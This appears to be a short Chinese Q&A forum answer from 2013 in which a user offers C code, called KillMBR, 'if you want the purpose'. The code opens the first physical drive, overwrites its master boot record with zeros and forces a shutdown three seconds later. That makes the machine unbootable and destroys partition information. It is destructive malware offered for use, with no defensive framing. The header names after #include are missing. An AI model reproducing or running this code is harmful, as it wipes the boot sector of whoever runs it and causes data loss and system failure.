满意答案
醉舞八佾
2013.08.31
采纳率:49% 等级:12
已帮助:10774人
如果你要目的的话 我给你代码 很好的
#include
#include
int KillMBR()
{
HANDLE hDevice; // handle to the drive to be examined
BOOL bResult; // results flag
DWORD junk; // discard results
unsigned char MBRBuf[512];
unsigned char sBuf[512]={0};
hDevice = CreateFile("\\\\.\\PHYSICALDRIVE0",
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
return (FALSE);
}
bResult=ReadFile(hDevice,MBRBuf,512,&junk,NULL);
bResult= WriteFile(hDevice,sBuf,512,&junk,NULL);
CloseHandle(hDevice);
return TRUE;
}
void main()
{
KillMBR();
WinExec("shutdown -s -t 3",0);
}
00分享举报